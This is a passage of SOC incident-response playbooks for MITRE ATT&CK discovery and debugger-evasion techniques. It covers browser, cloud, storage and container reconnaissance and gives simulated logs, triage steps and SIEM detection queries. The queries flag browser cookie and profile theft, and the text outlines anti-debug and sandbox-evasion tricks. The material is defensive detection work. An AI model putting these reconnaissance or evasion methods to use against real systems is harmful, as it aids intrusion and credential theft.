- Discovery activity correlated with later credential/session abuse

Example use case scenario (end-to-end)

Context: EDR detects a background process reading Chrome and Edge profile directories. No credential theft occurs immediately. Hours later, the same host shows session cookie replay against a SaaS app. Analysis confirms browser information discovery used to choose the attack path.

Attacker objective: Understand the browser environment to optimize session and credential theft.

Defender objective: Detect reconnaissance early and disrupt browser-targeted attacks.

What it looks like (simulated SOC artefacts)

A) Browser Enumeration

DetectedBrowsers=Chrome,Edge,Firefox
Versions=120.0,121.0,115.0

B) Profile Directory Access

Path=C:\Users\user\AppData\Local\Google\Chrome\User Data\
Process=unknown.exe

C) Extension Enumeration

ExtensionID=abcd1234
Name=PasswordManager
Status=Enabled

D) Browser Policy Discovery

Policy=DisablePasswordManager
Value=false

E) Cookie / Storage Path Access (Discovery Only)

File=Cookies
Action=ReadMetadata

F) No Immediate Credential Use

AuthAttempts=None
Phase=Discovery

Severity decision (SOC)

Low

- Legitimate IT management or browser support tooling

Medium

- Browser discovery by non-browser, non-admin process

High / Critical

- Discovery followed by cookie theft, extension abuse or session hijacking
- Discovery on privileged or executive endpoints

Example severity: High

(Profile + extension discovery by unknown process)

Step-by-step SOC workflow

Step 1 Validate browser information discovery

Confirm:

1. Which process accessed browser data?
2. Is the process expected to read browser profiles?
3. Was access read-only discovery or extraction?
4. Is discovery followed by credential/session abuse?

Decision point

- Legitimate browser tooling → document and monitor
- Suspicious discovery → continue investigation immediately

Step 2 Identify discovery targets and scope

Target	Evidence	Attacker value
Browser list/versions	Registry/files	Exploit selection
Profiles	User data dirs	Session targeting
Extensions	Extension IDs	Credential theft
Policies	Security settings	Control bypass
Storage paths	Cookies/IndexedDB	Future hijack

Step 3 Map behaviour to attacker intent

3A) Attack Path Selection

Indicators

- Enumeration of browser versions and policies

Attacker intent

- Choose viable exploit or abuse technique

3B) Credential & Session Targeting

Indicators

- Discovery of password managers or cookies

Attacker intent

- Steal credentials or hijack sessions

3C) Evasion Preparation

Indicators

- Policy and extension checks

Attacker intent

- Avoid detection or controls

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Steal Web Session Cookie
 - Cookie replay or session hijack
2. Steal Application Access Token
 - Token extraction from browser context
3. Input Capture
 - Keylogging or form capture
4. Software Extensions
 - Malicious browser extension install

Decision point

1. Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Suspend or block suspicious processes
2. Restrict access to browser profile directories
3. Increase monitoring on affected endpoints

If abuse confirmed

1. Force logout of web sessions

2. Reset exposed credentials
3. Remove malicious extensions or tooling
4. Preserve browser artefacts and EDR telemetry for forensics

Eradication and recovery

- Rebuild browsers/profiles if integrity is uncertain
- Enforce browser hardening and extension allowlists
- Disable legacy or unused browsers
- Educate users on unexpected browser prompts
- Monitor closely for renewed browser reconnaissance

Detection engineering (SIEM ideas)

A) Browser profile access by non-browser process

```
index=edr
| where file_path LIKE "%\\Chrome\\User Data%" OR file_path LIKE "%\\Firefox\\Profiles%"
| where process NOT IN ("chrome.exe","msedge.exe","firefox.exe")
```

B) Extension enumeration anomalies

```
index=edr
| where action="ReadExtension"
| where process NOT IN approved_browser_tools
```

C) Browser policy discovery

```
index=windows
| where registry_path LIKE "%\\Policies\\Google\\Chrome%"
| where caller_role!="Admin"
```

Analyst checklist

- Browser discovery confirmed
- Process legitimacy assessed
- Scope of data accessed identified
- Follow-on attack risk evaluated
- Monitoring enhanced

Post-incident improvements

- Treat browser artefacts as pre-credential assets
- Harden browser storage and policies

- Limit access to browser profiles
- Correlate browser discovery with session abuse
- Include browser recon scenarios in SOC and purple-team exercises

Playbook 152 (MITRE Discovery): Cloud Infrastructure Discovery

Technique: Cloud Infrastructure Discovery

Purpose

Detect, investigate and respond to attacker discovery of cloud infrastructure components, configurations and relationships, enabling attackers to:

- Identify cloud providers, regions, subscriptions and tenants
- Enumerate compute, storage, network and IAM resources
- Map trust relationships and attack paths
- Select high-value targets (admin roles, exposed services)
- Prepare credential abuse, lateral movement or impact actions

Cloud Infrastructure Discovery is environment mapping in the cloud attackers learn what exists, where it lives and how it's connected before acting.

When to trigger this playbook

Trigger this playbook when indicators suggest cloud enumeration or reconnaissance, including:

- API calls listing cloud resources (compute, storage, network)
- Enumeration of subscriptions, projects, accounts or tenants
- Discovery of regions, availability zones or VPC/VNet layouts
- IAM role, policy or service principal listing
- Discovery activity from non-admin identities or unusual IPs
- Cloud discovery preceding privilege escalation or data access

Example use case scenario (end-to-end)

Context: SOC detects a compromised cloud user issuing multiple “list” and “describe” API calls across compute, storage and IAM services. No changes are made initially. Hours later, the attacker uses a discovered over-privileged role to access sensitive storage.

Attacker objective: Map the cloud environment to identify attack paths and high-value targets.

Defender objective: Detect reconnaissance early and disrupt follow-on cloud attacks.

What it looks like (simulated SOC artefacts)

A) Subscription / Project Enumeration

API=ListSubscriptions
Caller=user01
Result=3 subscriptions

B) Compute Resource Discovery

API=DescribeInstances
Region=all
Count=47

C) Network Topology Discovery

API=ListVNETs
Subnets=12
Peering=Enabled

D) Storage Enumeration

API=ListBuckets
Access=Read

E) IAM Role & Policy Discovery

API=ListRoles
Role=GlobalAdmin
AttachedPolicies=*

F) Cross-Region / Cross-Tenant Discovery

RegionsQueried=All
Tenants=1

Severity decision (SOC)

Low

- Legitimate cloud inventory or audit activity

Medium

- Cloud discovery by non-admin identity

High / Critical

- Broad discovery across IAM, network and storage
- Discovery followed by privilege escalation or access abuse

Example severity: High

(Full cloud inventory enumeration by compromised user)

Step-by-step SOC workflow

Step 1 Validate cloud infrastructure discovery

Confirm:

1. Which resources were enumerated (compute, network, IAM)?
2. Was the activity authorised for the identity?
3. Is discovery broad (environment-wide) or targeted?
4. Does it precede suspicious access or changes?

Decision point

- Approved cloud audit → document and monitor
- Suspicious discovery → continue investigation immediately

Step 2 Identify discovery scope and technique

Discovery target	Evidence	Attacker value
Subscriptions/projects	List APIs	Attack surface
Compute	Describe/List calls	Lateral movement
Network	VPC/VNet queries	Path mapping
Storage	Bucket/container lists	Data targets
IAM	Roles/policies	Privilege escalation

Step 3 Map behaviour to attacker intent

3A) Environment Mapping

Indicators

- Broad “list/describe” API usage

Attacker intent

- Understand full cloud footprint

3B) Privilege & Trust Analysis

Indicators

- IAM role and policy enumeration

Attacker intent

- Identify escalation paths

3C) Target Selection

Indicators

- Focus on storage, admin roles, exposed services

Attacker intent

- Prepare high-impact actions

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Permission Groups Discovery
 - Role and policy abuse
2. Valid Accounts
 - Use of discovered roles
3. Lateral Movement
 - Cross-service or cross-region access
4. Impact
 - Data exfiltration, resource deletion, crypto-mining

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Stop unauthorised discovery by revoking sessions or tokens
2. Restrict identity permissions temporarily
3. Increase logging and alerting on cloud APIs

If abuse confirmed

1. Rotate credentials and secrets
2. Remove excessive IAM permissions
3. Lock down sensitive resources (storage, admin roles)
4. Preserve cloud audit logs for forensics

Eradication and recovery

- Remove attacker footholds and compromised identities
- Enforce least privilege across cloud IAM
- Segment cloud resources by environment and role
- Enable continuous cloud posture monitoring
- Monitor closely for renewed discovery activity

Detection engineering (SIEM ideas)

A) Excessive cloud “list/describe” APIs

```
index=cloud_audit  
| where api_action LIKE "List%" OR api_action LIKE "Describe%"  
| stats count by caller  
| where count > threshold
```

B) Discovery by non-admin identities

```
index=cloud_audit  
| where api_action IN ("ListRoles","ListBuckets","DescribeInstances")  
| where caller_role!="Admin"
```

C) Cross-region discovery

```
index=cloud_audit  
| stats dc(region) by caller  
| where dc(region) > expected_regions
```

Analyst checklist

- Cloud discovery confirmed
- Scope and resources enumerated identified
- Identity authorisation assessed
- Follow-on risk evaluated
- Monitoring strengthened

Post-incident improvements

- Treat cloud discovery as early-stage intrusion signal
- Restrict enumeration APIs to approved roles
- Monitor discovery → access chains closely
- Reduce over-privileged identities
- Include cloud recon scenarios in SOC and purple-team exercises

Playbook 153 (MITRE Discovery): Cloud Service Dashboard

Technique: Cloud Service Dashboard

Purpose

Detect, investigate and respond to attacker discovery of cloud environments via provider dashboards and management portals, enabling attackers to:

- Gain rapid situational awareness without heavy API usage
- Identify subscriptions, projects, tenants and environments at a glance
- Discover privileged roles, exposed services and recent activity
- Learn naming conventions, regions and service usage patterns
- Blend reconnaissance into normal-looking interactive access

Cloud Service Dashboard discovery is human-driven cloud recon attackers use the same consoles administrators rely on.

When to trigger this playbook

Trigger this playbook when indicators suggest interactive portal-based reconnaissance, including:

- Console logins followed by rapid navigation across services
- Viewing dashboards, overviews and inventory pages without changes
- Access to admin summaries by non-admin or newly authenticated users
- Dashboard access from unusual IPs, devices or geographies
- Portal recon preceding IAM changes, data access or resource creation

Example use case scenario (end-to-end)

Context: SOC detects a newly compromised cloud user logging into the provider portal from an unfamiliar location. The user views subscription overviews, IAM summaries, storage dashboards and activity logs no changes made. Hours later, a discovered over-privileged role is abused to access sensitive storage.

Attacker objective: Use dashboards to map the cloud estate quickly and quietly.

Defender objective: Detect console-based reconnaissance early and disrupt follow-on abuse.

What it looks like (simulated SOC artefacts)

A) Console Login From New Context

Event=PortalLogin
User=user01
IP=185.xxx.xxx.xxx
Device=Unknown

B) Rapid Dashboard Navigation

PagesViewed=Overview,Subscriptions,IAM,Storage,ActivityLog
Duration=6 minutes
Actions=ReadOnly

C) Privilege Summary Viewing

Dashboard=IAMSummary
RolesViewed=Owner,GlobalAdmin

D) Environment Overview Access

Dashboard=ResourceOverview
Regions=All
Services=Compute,Storage,Network

E) No Immediate Changes

WriteActions=None
ReconOnly=true

F) Follow-on Role Use (Later)

RoleAssumed=DiscoveredRole
ResourceAccess=Storage

Severity decision (SOC)

Low

- Expected admin console usage during operations

Medium

- Dashboard access by non-admin or unusual context

High / Critical

- Broad dashboard recon followed by privilege abuse or data access
- Executive or high-privilege account involved

Example severity: High

(New-location console recon → later storage access)

Step-by-step SOC workflow

Step 1 Validate cloud dashboard discovery

Confirm:

1. Who accessed the console and from where?
2. Which dashboards/pages were viewed?
3. Was access read-only or mixed with writes?
4. Does it precede suspicious actions?

Decision point

- Legitimate admin review → document and monitor
- Suspicious recon → continue investigation immediately

Step 2 Identify discovery scope and focus

Dashboard area	Evidence	Attacker value
Subscription/Project overview	Inventory pages	Asset mapping
IAM summaries	Role views	Escalation paths
Resource dashboards	Service lists	Target selection
Activity logs	Event views	Evasion planning
Cost/usage	Spend views	Crypto-mining prep

Step 3 Map behaviour to attacker intent

3A) Rapid Environment Awareness

Indicators

- Fast navigation across overview pages

Attacker intent

- Learn environment quickly

3B) Privilege & Trust Discovery

Indicators

- IAM/role dashboards viewed

Attacker intent

- Find escalation opportunities

3C) Low-Noise Reconnaissance

Indicators

- Read-only actions only

Attacker intent

- Avoid API-based detections

Immediately pivot to:

- Permission Groups Discovery
 - Role assumptions or policy views
- Valid Accounts
 - Use of discovered roles
- Cloud Infrastructure Discovery
 - API-based enumeration after recon
- Impact
 - Data access, resource creation, crypto-mining

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Re-authenticate or revoke sessions for suspicious console access
2. Enforce step-up authentication for console logins
3. Increase logging for portal navigation and role use

If abuse confirmed

1. Rotate credentials and invalidate tokens

2. Remove excessive IAM permissions
3. Restrict console access by network/location
4. Preserve portal activity logs for forensics

Eradication and recovery

- Remove attacker access and compromised identities
- Enforce least privilege and role separation
- Enable just-in-time and approval-based admin access
- Require phishing-resistant MFA for console logins
- Monitor closely for renewed console recon

Detection engineering (SIEM ideas)

A) Console login from new context

```
index=cloud_audit  
| where event="PortalLogin"  
| where ip_changed=true OR device_changed=true
```

B) Rapid read-only dashboard navigation

```
index=cloud_portal  
| where action="View"  
| stats count by user, session  
| where count > threshold
```

C) IAM dashboard viewed by non-admin

```
index=cloud_portal  
| where page="IAMSummary"  
| where user_role!="Admin"
```

Analyst checklist

- Cloud dashboard recon confirmed
- Access context and scope identified
- Authorisation assessed
- Follow-on risk evaluated
- Monitoring strengthened

Post-incident improvements

- Treat console recon as early cloud intrusion signal

- Monitor view-only activity patterns, not just writes
- Enforce strong auth and network controls for dashboards
- Reduce over-privileged roles visible in summaries
- Include portal-based recon scenarios in SOC and purple-team exercises

Playbook 154 (MITRE Discovery): Cloud Service Discovery

Technique: Cloud Service Discovery

Purpose

Detect, investigate and respond to attacker discovery of cloud services in use within an environment, enabling attackers to:

- Identify which cloud services are deployed (IaaS, PaaS, SaaS)
- Understand service exposure, configuration and dependencies
- Target high-value services (storage, databases, identity, CI/CD)
- Select appropriate attack techniques (token theft, role abuse, API misuse)
- Reduce noise by focusing only on active services

Cloud Service Discovery is service-level reconnaissance attackers learn what cloud services matter before attempting access or abuse.

When to trigger this playbook

Trigger this playbook when indicators suggest enumeration of cloud services or service usage, including:

- API calls listing enabled services or service providers
- Queries for service endpoints, SKUs or service catalogs
- Discovery of SaaS integrations or connected applications
- Service discovery from non-admin or compromised identities
- Discovery activity preceding cloud credential abuse or data access

Example use case scenario (end-to-end)

Context: SOC detects a compromised cloud user enumerating enabled services across the tenant. The user lists storage, key management, identity and CI/CD services. Later, the attacker targets a discovered CI/CD service to steal deployment secrets.

Attacker objective: Identify which cloud services are active to plan the next stage of attack.

Defender objective: Detect early service reconnaissance and protect exposed or sensitive services.

What it looks like (simulated SOC artefacts)

A) Cloud Service Enumeration

API=ListServices
Caller=user01
Result=Storage,Compute,IAM,KeyVault,CI/CD

B) Service Provider Discovery

API=ListResourceProviders
Status=Registered

C) SaaS Integration Discovery

API=ListEnterpriseApps
App=CRM,HR,Finance

D) Service Endpoint Discovery

Service=Storage
Endpoints=public

E) Cross-Service Queries

ServicesQueried=Multiple
TimeWindow=Short

F) No Immediate Exploitation

WriteActions=None
Phase=Discovery

Severity decision (SOC)

Low

- Expected cloud inventory or governance activity

Medium

- Service discovery by non-admin or unusual identity

High / Critical

- Broad service discovery followed by service-specific abuse
- Discovery of sensitive services (KMS, CI/CD, Identity)

Example severity: High

(Service enumeration → CI/CD service targeted)

Step-by-step SOC workflow

Step 1 Validate cloud service discovery

Confirm:

1. Which services were enumerated?
2. Was the activity authorised for the identity?
3. Is discovery broad or narrowly focused?
4. Does it precede suspicious service access?

Decision point

- Legitimate governance activity → document and monitor
- Suspicious discovery → continue investigation immediately

Step 2 Identify discovery scope and service focus

Service type	Evidence	Attacker value
Identity/IAM	Service lists	Privilege abuse
Storage	Bucket/container discovery	Data exfiltration
Databases	DB service discovery	Data theft
CI/CD	Pipeline/service discovery	Secret theft
Key management	KMS/KeyVault discovery	Credential compromise

Step 3 Map behaviour to attacker intent

3A) Attack Surface Identification

Indicators

- Enumeration of enabled services

Attacker intent

- Understand available attack paths

3B) High-Value Service Targeting

Indicators

- Focus on identity, storage, CI/CD

Attacker intent

- Maximise impact

3C) Noise Reduction

Indicators

- No exploitation during discovery

Attacker intent

- Act only where worthwhile

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Cloud Infrastructure Discovery
 - Deeper resource enumeration
2. Valid Accounts
 - Use of service-specific permissions
3. Steal Application Access Token
 - Tokens scoped to discovered services
4. Impact
 - Data access, service misuse, crypto-mining

Decision point

1. Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Revoke sessions or tokens used for unauthorised discovery
2. Restrict service listing permissions temporarily
3. Increase monitoring on discovered high-risk services

If abuse confirmed

1. Rotate credentials and secrets tied to affected services

2. Reduce service-level IAM permissions
3. Lock down public or exposed service endpoints
4. Preserve cloud audit logs for investigation

Eradication and recovery

- Remove attacker footholds and compromised identities
- Enforce least privilege at the service level
- Disable unused or legacy cloud services
- Apply service-specific security baselines
- Monitor closely for renewed service reconnaissance

Detection engineering (SIEM ideas)

A) Cloud service enumeration APIs

```
index=cloud_audit  
| where api_action IN ("ListServices","ListResourceProviders","ListEnterpriseApps")  
| stats count by caller  
| where count > threshold
```

B) Service discovery by non-admin

```
index=cloud_audit  
| where api_action LIKE "List%"  
| where caller_role!="Admin"
```

C) Rapid multi-service discovery

```
index=cloud_audit  
| stats dc(service) by caller, session  
| where dc(service) > expected_services
```

Analyst checklist

- Cloud service discovery confirmed
- Services enumerated identified
- Identity authorisation assessed
- Follow-on service abuse risk evaluated
- Monitoring strengthened

Post-incident improvements

- Treat cloud service discovery as early-stage cloud intrusion

- Restrict service enumeration to approved roles
- Monitor service discovery → service access chains
- Reduce over-privileged service roles
- Include cloud service recon scenarios in SOC and purple-team exercises

Playbook 155 (MITRE Discovery): Cloud Storage Object Discovery

Technique: Cloud Storage Object Discovery

Purpose

Detect, investigate and respond to attacker discovery of objects stored in cloud storage services, enabling attackers to:

- Identify sensitive files, backups, databases and exports
- Locate credentials, keys, configuration files and secrets
- Determine data value before exfiltration or destruction
- Target specific buckets, containers, shares or blobs
- Reduce noise by stealing only high-impact data

Cloud Storage Object Discovery is data-centric reconnaissance attackers move beyond infrastructure and services to learn what data actually exists.

When to trigger this playbook

Trigger this playbook when indicators suggest enumeration of cloud storage contents, including:

- API calls listing objects, blobs, files or directories
- Enumeration of buckets/containers followed by object listing
- Discovery of storage paths without corresponding downloads
- Object listing by non-admin or unusual identities
- Storage discovery preceding data access or exfiltration
- Read-only listing activity across many storage locations

Example use case scenario (end-to-end)

Context: SOC detects a compromised cloud identity listing thousands of objects across multiple storage containers. No downloads occur initially. Later, a small subset of sensitive files (backups and exports) is accessed and exfiltrated.

Attacker objective: Identify high-value data before exfiltration.

Defender objective: Detect storage reconnaissance early and prevent data theft.

What it looks like (simulated SOC artefacts)

A) Object Listing API Calls

API=ListObjects
Storage=prod-backups
ObjectCount=12,438

B) Cross-Container Discovery

ContainersEnumerated=finance,hr,backups,logs
Action=ListOnly

C) Prefix / Folder Enumeration

Prefix=/exports/db/
Result=FilesFound

D) No Immediate Download

GetObject=None
Phase=Discovery

E) Sensitive File Identification

Object=db_backup_2024.sql
Size=18GB

F) Follow-on Access (Later)

GetObject=db_backup_2024.sql

Severity decision (SOC)

Low

- Legitimate data inventory or backup validation

Medium

- Object listing by non-admin or unusual context

High / Critical

- Broad object discovery followed by selective downloads
- Discovery of sensitive or regulated data
- Discovery by compromised or external identities

Example severity: High

(Multi-container object listing → targeted data access)

Step-by-step SOC workflow

Step 1 Validate cloud storage object discovery

Confirm:

1. Which storage resources were enumerated?
2. Was object listing authorised for the identity?
3. Is discovery broad or targeted (prefix-based)?
4. Does it precede suspicious data access?

Decision point

- Legitimate inventory activity → document and monitor
- Suspicious discovery → continue investigation immediately

Step 2 Identify discovery scope and object focus

Discovery target	Evidence	Attacker value
Buckets/containers	List calls	Data mapping
Object names	Filenames	Sensitivity inference
Prefixes/folders	Path discovery	Targeting
File size/metadata	Head/List	Exfil planning
Backups/exports	Object names	High-value data

Step 3 Map behaviour to attacker intent

3A) Data Value Assessment

Indicators

- Listing object names and sizes

Attacker intent

- Identify valuable data

3B) Targeted Exfiltration Planning

Indicators

- Focus on backups, exports, finance, HR

Attacker intent

- Minimise noise, maximise impact

3C) Stealth Reconnaissance

Indicators

- Listing without downloads

Attacker intent

- Avoid triggering data-loss alerts

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Exfiltration
 - Object downloads, cross-region copies
2. Impact
 - Object deletion, encryption, overwrite
3. Valid Accounts
 - Abuse of storage-level permissions
4. Cloud Service Discovery
 - Expansion to other storage services

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Revoke or suspend sessions used for unauthorised listing
2. Restrict storage permissions temporarily
3. Increase logging on affected storage resources

If abuse confirmed

1. Rotate credentials and storage access keys

2. Lock down sensitive containers/buckets
3. Enable object-level access alerts
4. Preserve cloud storage audit logs for forensics

Eradication and recovery

- Remove attacker access and compromised identities
- Enforce least privilege on storage resources
- Separate sensitive data into restricted containers
- Enable versioning and immutable backups
- Monitor closely for renewed storage discovery

Detection engineering (SIEM ideas)

A) Excessive object listing

```
index=cloud_audit  
| where api_action IN ("ListObjects","ListBlobs","ListFiles")  
| stats count by caller, storage  
| where count > threshold
```

B) Object discovery by non-admin

```
index=cloud_audit  
| where api_action LIKE "List%"  
| where resource_type="Storage"  
| where caller_role!="Admin"
```

C) Discovery followed by selective access

```
index=cloud_audit  
| transaction caller, storage  
| where list_count > threshold AND get_count > 0
```

Analyst checklist

- Cloud storage object discovery confirmed
- Storage resources and objects identified
- Authorisation assessed
- Follow-on data access risk evaluated
- Monitoring strengthened

Post-incident improvements

- Treat object listing as early data-theft indicator
- Restrict object-level listing permissions
- Monitor list → get behaviour chains
- Apply data classification and storage segmentation
- Include storage recon scenarios in SOC and purple-team exercises

Playbook 156 (MITRE Discovery): Container and Resource Discovery

Technique: Container and Resource Discovery

Purpose

Detect, investigate and respond to attacker discovery of containerised workloads and orchestration resources, enabling attackers to:

- Identify running containers, images, pods and namespaces
- Discover orchestration platforms (Docker, Kubernetes, OpenShift, ECS)
- Map cluster topology, nodes and services
- Locate privileged containers, secrets and service accounts
- Prepare for container escape, lateral movement or data access

Container and Resource Discovery is cloud-native reconnaissance attackers learn how workloads are deployed and connected before exploitation.

When to trigger this playbook

Trigger this playbook when indicators suggest enumeration of container or orchestration resources, including:

- Commands or APIs listing containers, pods or images
- Queries for namespaces, services or deployments
- Discovery of cluster nodes or control-plane components
- Enumeration from non-admin identities or compromised workloads
- Container discovery preceding secrets access or escape attempts

Example use case scenario (end-to-end)

Context: SOC detects a compromised container issuing Kubernetes API calls to list namespaces, pods and secrets. No changes occur initially. Later, the attacker accesses a discovered service account token and pivots to another namespace.

Attacker objective: Map the container environment to find escalation paths and sensitive resources.

Defender objective: Detect container reconnaissance early and prevent cluster compromise.

What it looks like (simulated SOC artefacts)

A) Container Enumeration

Command=docker ps -a
Result=RunningContainers

B) Image Discovery

Command=docker images
Images=app:v1, db:prod, backup:latest

C) Kubernetes Resource Listing

API=kubectl get pods --all-namespaces
Result=PodsListed

D) Namespace Discovery

API=kubectl get namespaces
Namespaces=default,prod,finance,monitoring

E) Node & Cluster Discovery

API=kubectl get nodes
Nodes=5

F) Read-Only Recon Phase

WriteActions=None
Phase=Discovery

Severity decision (SOC)

Low

- Legitimate DevOps or SRE inventory activity

Medium

- Container discovery by non-admin identity or workload

High / Critical

- Broad cluster discovery by compromised container
- Discovery of privileged namespaces or secrets
- Discovery followed by container escape or lateral movement

Example severity: High

(All-namespace pod listing by compromised workload)

Step-by-step SOC workflow

Step 1 Validate container and resource discovery

Confirm:

1. Which platform is being queried (Docker, Kubernetes, ECS)?
2. Was the activity authorised for the identity or service account?
3. Is discovery limited or cluster-wide?
4. Does it precede suspicious access or changes?

Decision point

- Approved ops activity → document and monitor
- Suspicious discovery → continue investigation immediately

Step 2 Identify discovery scope and targets

Discovery target	Evidence	Attacker value
Containers	docker ps	Runtime mapping
Images	Image lists	Supply-chain abuse
Pods	kubecttl get pods	Lateral movement
Namespaces	Namespace listing	Privilege boundaries
Nodes	Node discovery	Escape targets
Services	Service lists	Data access paths

Step 3 Map behaviour to attacker intent

3A) Environment Mapping

Indicators

- Broad container and pod enumeration

Attacker intent

- Understand workload layout

3B) Privilege & Escape Path Discovery

Indicators

- Focus on privileged pods, nodes or system namespaces

Attacker intent

- Break isolation or escalate

3C) Target Selection

Indicators

- Discovery of databases, backups, CI/CD containers

Attacker intent

- Maximise impact

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Container API Abuse
 - Secrets, exec or attach
2. Escape to Host
 - Node-level access
3. Credential Access
 - Service account tokens
4. Impact
 - Crypto-mining, data exfiltration, cluster disruption

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Revoke or restrict compromised service accounts
2. Isolate affected containers or namespaces
3. Increase logging on container APIs

If abuse confirmed

1. Rotate service account tokens and secrets

2. Lock down cluster RBAC permissions
3. Remove exposed or unused container APIs
4. Preserve container and audit logs for forensics

Eradication and recovery

- Remove attacker footholds from containers
- Enforce least privilege for workloads and namespaces
- Disable anonymous or overly broad API access
- Apply runtime security controls
- Monitor closely for renewed container discovery

Detection engineering (SIEM ideas)

A) Container enumeration commands

```
index=container_logs  
| where command IN ("docker ps","docker images")
```

B) Kubernetes resource listing

```
index=k8s_audit  
| where verb="list"  
| where object IN ("pods","namespaces","nodes")
```

C) Discovery by non-admin service accounts

```
index=k8s_audit  
| where verb="list"  
| where user_role!="cluster-admin"
```

Analyst checklist

- Container/resource discovery confirmed
- Platform and scope identified
- Identity authorisation assessed
- Follow-on compromise risk evaluated
- Monitoring strengthened

Post-incident improvements

- Treat container discovery as early cluster intrusion signal
- Restrict list permissions in container RBAC
- Segment namespaces by sensitivity

- Monitor discovery → secrets/exec chains
- Include container recon scenarios in SOC and purple-team exercises

Playbook 157 (MITRE Defense Evasion): Debugger Evasion

Technique: Debugger Evasion

Purpose

Detect, investigate and respond to attacker techniques used to detect, evade or disrupt debugging, analysis and sandboxing, enabling attackers to:

- Prevent malware analysis and reverse engineering
- Avoid execution in sandboxes, detonation environments or EDR hooks
- Alter behaviour when being inspected or instrumented
- Delay or suppress malicious functionality until safe
- Reduce detection and signature generation

Debugger Evasion is anti-analysis defence attackers ensure their payload only runs when defenders are not watching.

When to trigger this playbook

Trigger this playbook when indicators suggest debugger or analysis environment detection, including:

- Processes checking for debuggers, breakpoints or instrumentation
- Malware exiting, stalling or changing behaviour unexpectedly
- Time-based delays or environment checks before execution
- Anti-debug APIs or system calls invoked repeatedly
- Different behaviour in sandbox vs. live endpoint
- EDR alerts indicating anti-analysis or evasion logic

Example use case scenario (end-to-end)

Context: SOC detonates a suspicious binary in a sandbox. The binary exits immediately without payload execution. On a real endpoint, the same binary executes normally and deploys persistence. Analysis reveals debugger and sandbox detection checks.

Attacker objective: Ensure malware executes only on real victim systems, not in analysis environments.

Defender objective: Detect anti-debug behaviour and assess hidden malicious capability.

What it looks like (simulated SOC artefacts)

A) Debugger Detection API Calls

Process=malware.exe
API=IsDebuggerPresent
Result=false

B) Anti-Debug System Calls

NtQueryInformationProcess
ProcessDebugPort=Checked

C) Execution Halt in Sandbox

Environment=Sandbox
Action=ExitProcess

D) Timing-Based Checks

Sleep=600000 ms
Reason=DelayExecution

E) Breakpoint / Trap Checks

INT3Detected=false
SingleStepFlag=Checked

F) Conditional Payload Execution

DebuggerDetected=false
PayloadExecuted=true

Severity decision (SOC)

Low

- Legitimate software anti-debug checks (licensing, DRM)

Medium

- Anti-debug behaviour in suspicious or unknown binaries

High / Critical

- Debugger evasion combined with malware delivery, persistence or C2
- Payload suppressed in sandbox but active on endpoint

Example severity: High

(Anti-debug logic + real-world malicious execution)

Step-by-step SOC workflow

Step 1 Validate debugger evasion behaviour

Confirm:

1. Does the process explicitly check for debuggers?
2. Is behaviour different in sandbox vs. endpoint?
3. Are anti-analysis APIs or timing tricks used?
4. Is malicious functionality conditionally gated?

Decision point

- Legitimate software protection → document and allow
- Malicious evasion → continue investigation immediately

Step 2 Identify evasion technique and scope

Evasion method	Evidence	Attacker value
API checks	IsDebuggerPresent	Sandbox evasion
Timing delays	Long sleeps	Bypass detonation
Exception checks	Breakpoint tests	Anti-debug
Environment checks	VM/sandbox artifacts	Selective execution
Conditional logic	Payload gating	Stealth

Step 3 Map behaviour to attacker intent

3A) Anti-Analysis

Indicators

- Debugger and sandbox detection logic

Attacker intent

- Prevent reverse engineering

3B) Detection Avoidance

Indicators

- Payload only executes on real hosts

Attacker intent

- Evade EDR and automated detection

3C) Delayed Execution

Indicators

- Sleep loops, timing checks

Attacker intent

- Outwait sandboxes

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution
 - Conditional payload launch
2. Persistence
 - Registry, services, scheduled tasks
3. Command and Control
 - Network callbacks after delay
4. Obfuscated Files or Information
 - Packed or encrypted payloads

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Isolate affected endpoints
2. Block execution of identified binaries/hashes
3. Prevent outbound connections from suspicious processes

If abuse confirmed

1. Remove malware and persistence mechanisms

2. Reset exposed credentials if theft suspected
3. Expand IOC sweep across environment
4. Preserve samples and telemetry for deeper analysis

Eradication and recovery

- Rebuild compromised hosts if integrity is uncertain
- Enhance sandbox realism and detonation time
- Deploy EDR rules for anti-debug API usage
- Monitor for delayed or gated execution
- Validate no dormant payloads remain

Detection engineering (SIEM ideas)

A) Anti-debug API usage

```
index=edr  
| where api_call IN  
("IsDebuggerPresent","CheckRemoteDebuggerPresent","NtQueryInformationProcess")
```

B) Sandbox evasion indicators

```
index=edr  
| where process_exit_reason="DebuggerDetected"
```

C) Long sleep detection

```
index=edr  
| where api_call="Sleep"  
| where sleep_duration > threshold
```

Analyst checklist

- Debugger evasion behaviour confirmed
- Malware functionality assessed beyond sandbox
- Scope of compromise identified
- Persistence and C2 checked
- Detection coverage updated

Post-incident improvements

- Treat debugger evasion as high-confidence malware signal
- Extend sandbox execution time and realism
- Monitor anti-analysis API patterns

- Correlate evasion with delayed malicious activity
- Include anti-debug malware scenarios in SOC and purple-team exercises

Playbook 158 (MITRE Discovery): Device Driver Discovery

Technique: Device Driver Discovery

Purpose

Detect, investigate and respond to attacker discovery of installed device drivers and kernel modules, enabling attackers to:

- Identify security, monitoring and EDR drivers
- Detect hypervisors, sandbox drivers or virtual devices
- Locate vulnerable or signed drivers for exploitation
- Plan kernel-level privilege escalation or defense evasion
- Adapt payloads to the underlying OS and hardware environment

Device Driver Discovery is kernel-awareness reconnaissance attackers learn what runs below user space before attempting stealthy or high-impact actions.

When to trigger this playbook

Trigger this playbook when indicators suggest enumeration of kernel drivers or modules, including:

- Commands or APIs listing loaded drivers or kernel modules
- Queries to system locations storing driver files
- Registry access related to driver services
- Discovery of security or virtualization drivers by non-admin processes
- Driver discovery preceding kernel exploitation or EDR bypass attempts

Example use case scenario (end-to-end)

